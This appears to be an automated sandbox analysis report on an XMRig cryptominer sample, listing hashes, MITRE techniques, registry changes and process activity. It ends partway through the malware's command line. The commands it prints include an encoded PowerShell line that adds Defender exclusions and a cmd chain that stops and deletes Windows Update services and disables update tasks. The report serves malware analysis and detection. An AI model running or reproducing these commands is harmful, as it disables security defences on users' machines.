xmrig | 58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895

Analysis

max time kernel
300s
max time network
270s
platform
windows10-1703_x64
resource
win10-20220718-en
resource tags

arch:x64arch:x86image:win10-20220718-enlocale:en-usos:windows10-1703-x64system
submitted
05-08-2022 22:15

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General

Target

58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe
Size

7.1MB
MD5

2144e985a1fb8a18636dee1b1fcf096f
SHA1

fac93e4f151a3be8d9b0b6c9d50a31ba9a3e231a
SHA256

58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895
SHA512

48d3b4b8a95bd4a4bc1405284db373a5acdfe30de15b0641aeef359c06a359dc1344cb8bb1fb63ee35bc38e3eae3fb88eed2128d66d52e9153e1d940be54476c

Score

10^/10

xmrig discovery evasion exploit miner themida trojan

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

updater.exe58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2868-449-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2868-450-0x000000014036EAC4-mapping.dmp	xmrig
behavioral2/memory/2868-451-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2868-452-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2868-474-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2868-475-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig

Drops file in Drivers directory 2 IoCs

Processes:

conhost.execonhost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

436 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exetakeown.exeicacls.exeicacls.exe

pid process

420 takeown.exe
644 takeown.exe
3228 icacls.exe
2768 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
436	updater.exe

pid	process
420	takeown.exe
644	takeown.exe
3228	icacls.exe
2768	icacls.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe

Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exeicacls.exetakeown.exe

pid process

644 takeown.exe
3228 icacls.exe
2768 icacls.exe
420 takeown.exe

pid	process
644	takeown.exe
3228	icacls.exe
2768	icacls.exe
420	takeown.exe

Themida packer 8 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/3160-117-0x0000000000400000-0x0000000001066000-memory.dmp	themida
behavioral2/memory/3160-118-0x0000000000400000-0x0000000001066000-memory.dmp	themida
behavioral2/memory/3160-123-0x0000000000400000-0x0000000001066000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/436-264-0x0000000000400000-0x0000000001066000-memory.dmp	themida
behavioral2/memory/436-266-0x0000000000400000-0x0000000001066000-memory.dmp	themida
behavioral2/memory/436-272-0x0000000000400000-0x0000000001066000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.execonhost.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log	conhost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exeupdater.exe

pid process

3160 58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe
436 updater.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

conhost.exe

description pid process target process

PID 3152 set thread context of 2868 3152 conhost.exe explorer.exe

pid	process
3160	58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe
436	updater.exe

description	pid	process	target process
PID 3152 set thread context of 2868	3152	conhost.exe	explorer.exe

Drops file in Program Files directory 3 IoCs

Processes:

powershell.execonhost.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File created	C:\Program Files\Google\Libs\WR64.sys	conhost.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2588 sc.exe
744 sc.exe
3416 sc.exe
2588 sc.exe
2768 sc.exe
1340 sc.exe
316 sc.exe
1812 sc.exe
3536 sc.exe
3904 sc.exe

pid	process
2588	sc.exe
744	sc.exe
3416	sc.exe
2588	sc.exe
2768	sc.exe
1340	sc.exe
316	sc.exe
1812	sc.exe
3536	sc.exe
3904	sc.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEconhost.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
660	reg.exe
3536	reg.exe
3892	reg.exe
3808	reg.exe
4000	reg.exe
2024	reg.exe
1164	reg.exe
2736	reg.exe
3296	reg.exe
1104	reg.exe
1348	reg.exe
1424	reg.exe
372	reg.exe
2608	reg.exe
500	reg.exe
1988	reg.exe
1028	reg.exe
624	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.execonhost.exepowershell.exepowershell.EXEpowershell.execonhost.exeexplorer.exe

pid	process
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
2868	conhost.exe
3168	powershell.exe
3168	powershell.exe
3168	powershell.exe
3172	powershell.EXE
3172	powershell.EXE
3172	powershell.EXE
160	powershell.exe
160	powershell.exe
160	powershell.exe
3152	conhost.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe
2868	explorer.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

628

pid	process
628

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.execonhost.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeIncreaseQuotaPrivilege	3448	powershell.exe
Token: SeSecurityPrivilege	3448	powershell.exe
Token: SeTakeOwnershipPrivilege	3448	powershell.exe
Token: SeLoadDriverPrivilege	3448	powershell.exe
Token: SeSystemProfilePrivilege	3448	powershell.exe
Token: SeSystemtimePrivilege	3448	powershell.exe
Token: SeProfSingleProcessPrivilege	3448	powershell.exe
Token: SeIncBasePriorityPrivilege	3448	powershell.exe
Token: SeCreatePagefilePrivilege	3448	powershell.exe
Token: SeBackupPrivilege	3448	powershell.exe
Token: SeRestorePrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeSystemEnvironmentPrivilege	3448	powershell.exe
Token: SeRemoteShutdownPrivilege	3448	powershell.exe
Token: SeUndockPrivilege	3448	powershell.exe
Token: SeManageVolumePrivilege	3448	powershell.exe
Token: 33	3448	powershell.exe
Token: 34	3448	powershell.exe
Token: 35	3448	powershell.exe
Token: 36	3448	powershell.exe
Token: SeShutdownPrivilege	2284	powercfg.exe
Token: SeCreatePagefilePrivilege	2284	powercfg.exe
Token: SeDebugPrivilege	2868	conhost.exe
Token: SeShutdownPrivilege	1828	powercfg.exe
Token: SeCreatePagefilePrivilege	1828	powercfg.exe
Token: SeShutdownPrivilege	700	powercfg.exe
Token: SeCreatePagefilePrivilege	700	powercfg.exe
Token: SeShutdownPrivilege	4000	powercfg.exe
Token: SeCreatePagefilePrivilege	4000	powercfg.exe
Token: SeTakeOwnershipPrivilege	644	takeown.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeIncreaseQuotaPrivilege	3168	powershell.exe
Token: SeSecurityPrivilege	3168	powershell.exe
Token: SeTakeOwnershipPrivilege	3168	powershell.exe
Token: SeLoadDriverPrivilege	3168	powershell.exe
Token: SeSystemProfilePrivilege	3168	powershell.exe
Token: SeSystemtimePrivilege	3168	powershell.exe
Token: SeProfSingleProcessPrivilege	3168	powershell.exe
Token: SeIncBasePriorityPrivilege	3168	powershell.exe
Token: SeCreatePagefilePrivilege	3168	powershell.exe
Token: SeBackupPrivilege	3168	powershell.exe
Token: SeRestorePrivilege	3168	powershell.exe
Token: SeShutdownPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeSystemEnvironmentPrivilege	3168	powershell.exe
Token: SeRemoteShutdownPrivilege	3168	powershell.exe
Token: SeUndockPrivilege	3168	powershell.exe
Token: SeManageVolumePrivilege	3168	powershell.exe
Token: 33	3168	powershell.exe
Token: 34	3168	powershell.exe
Token: 35	3168	powershell.exe
Token: 36	3168	powershell.exe
Token: SeIncreaseQuotaPrivilege	3168	powershell.exe
Token: SeSecurityPrivilege	3168	powershell.exe
Token: SeTakeOwnershipPrivilege	3168	powershell.exe
Token: SeLoadDriverPrivilege	3168	powershell.exe
Token: SeSystemProfilePrivilege	3168	powershell.exe
Token: SeSystemtimePrivilege	3168	powershell.exe
Token: SeProfSingleProcessPrivilege	3168	powershell.exe
Token: SeIncBasePriorityPrivilege	3168	powershell.exe
Token: SeCreatePagefilePrivilege	3168	powershell.exe
Token: SeBackupPrivilege	3168	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.execonhost.execmd.execmd.exe

description	pid	process	target process
PID 3160 wrote to memory of 2868	3160	58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe	conhost.exe
PID 3160 wrote to memory of 2868	3160	58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe	conhost.exe
PID 3160 wrote to memory of 2868	3160	58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe	conhost.exe
PID 2868 wrote to memory of 3448	2868	conhost.exe	powershell.exe
PID 2868 wrote to memory of 3448	2868	conhost.exe	powershell.exe
PID 2868 wrote to memory of 32	2868	conhost.exe	cmd.exe
PID 2868 wrote to memory of 32	2868	conhost.exe	cmd.exe
PID 2868 wrote to memory of 2340	2868	conhost.exe	cmd.exe
PID 2868 wrote to memory of 2340	2868	conhost.exe	cmd.exe
PID 32 wrote to memory of 2588	32	cmd.exe	sc.exe
PID 32 wrote to memory of 2588	32	cmd.exe	sc.exe
PID 2340 wrote to memory of 2284	2340	cmd.exe	powercfg.exe
PID 2340 wrote to memory of 2284	2340	cmd.exe	powercfg.exe
PID 2340 wrote to memory of 1828	2340	cmd.exe	powercfg.exe
PID 2340 wrote to memory of 1828	2340	cmd.exe	powercfg.exe
PID 32 wrote to memory of 3536	32	cmd.exe	sc.exe
PID 32 wrote to memory of 3536	32	cmd.exe	sc.exe
PID 2340 wrote to memory of 700	2340	cmd.exe	powercfg.exe
PID 2340 wrote to memory of 700	2340	cmd.exe	powercfg.exe
PID 32 wrote to memory of 3904	32	cmd.exe	sc.exe
PID 32 wrote to memory of 3904	32	cmd.exe	sc.exe
PID 2340 wrote to memory of 4000	2340	cmd.exe	powercfg.exe
PID 2340 wrote to memory of 4000	2340	cmd.exe	powercfg.exe
PID 32 wrote to memory of 2768	32	cmd.exe	sc.exe
PID 32 wrote to memory of 2768	32	cmd.exe	sc.exe
PID 32 wrote to memory of 1340	32	cmd.exe	sc.exe
PID 32 wrote to memory of 1340	32	cmd.exe	sc.exe
PID 32 wrote to memory of 2736	32	cmd.exe	reg.exe
PID 32 wrote to memory of 2736	32	cmd.exe	reg.exe
PID 32 wrote to memory of 3892	32	cmd.exe	reg.exe
PID 32 wrote to memory of 3892	32	cmd.exe	reg.exe
PID 32 wrote to memory of 372	32	cmd.exe	reg.exe
PID 32 wrote to memory of 372	32	cmd.exe	reg.exe
PID 32 wrote to memory of 2608	32	cmd.exe	reg.exe
PID 32 wrote to memory of 2608	32	cmd.exe	reg.exe
PID 32 wrote to memory of 500	32	cmd.exe	reg.exe
PID 32 wrote to memory of 500	32	cmd.exe	reg.exe
PID 32 wrote to memory of 644	32	cmd.exe	takeown.exe
PID 32 wrote to memory of 644	32	cmd.exe	takeown.exe
PID 32 wrote to memory of 3228	32	cmd.exe	icacls.exe
PID 32 wrote to memory of 3228	32	cmd.exe	icacls.exe
PID 2868 wrote to memory of 3168	2868	conhost.exe	powershell.exe
PID 2868 wrote to memory of 3168	2868	conhost.exe	powershell.exe
PID 32 wrote to memory of 3296	32	cmd.exe	reg.exe
PID 32 wrote to memory of 3296	32	cmd.exe	reg.exe
PID 32 wrote to memory of 1104	32	cmd.exe	reg.exe
PID 32 wrote to memory of 1104	32	cmd.exe	reg.exe
PID 32 wrote to memory of 3808	32	cmd.exe	reg.exe
PID 32 wrote to memory of 3808	32	cmd.exe	reg.exe
PID 32 wrote to memory of 1988	32	cmd.exe	reg.exe
PID 32 wrote to memory of 1988	32	cmd.exe	reg.exe
PID 32 wrote to memory of 212	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 212	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 2168	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 2168	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 3104	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 3104	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 2176	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 2176	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 1132	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 1132	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 3916	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 3916	32	cmd.exe	schtasks.exe
PID 32 wrote to memory of 4000	32	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe
"C:\Users\Admin\AppData\Local\Temp\58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:3160

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\58e801dfdaa75ef977fea01a200f90e7202406833a1e2c06ebe15a99a72c3895.exe"
2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAYQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAZABqAHoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAeQAjAD4A"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3448

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN 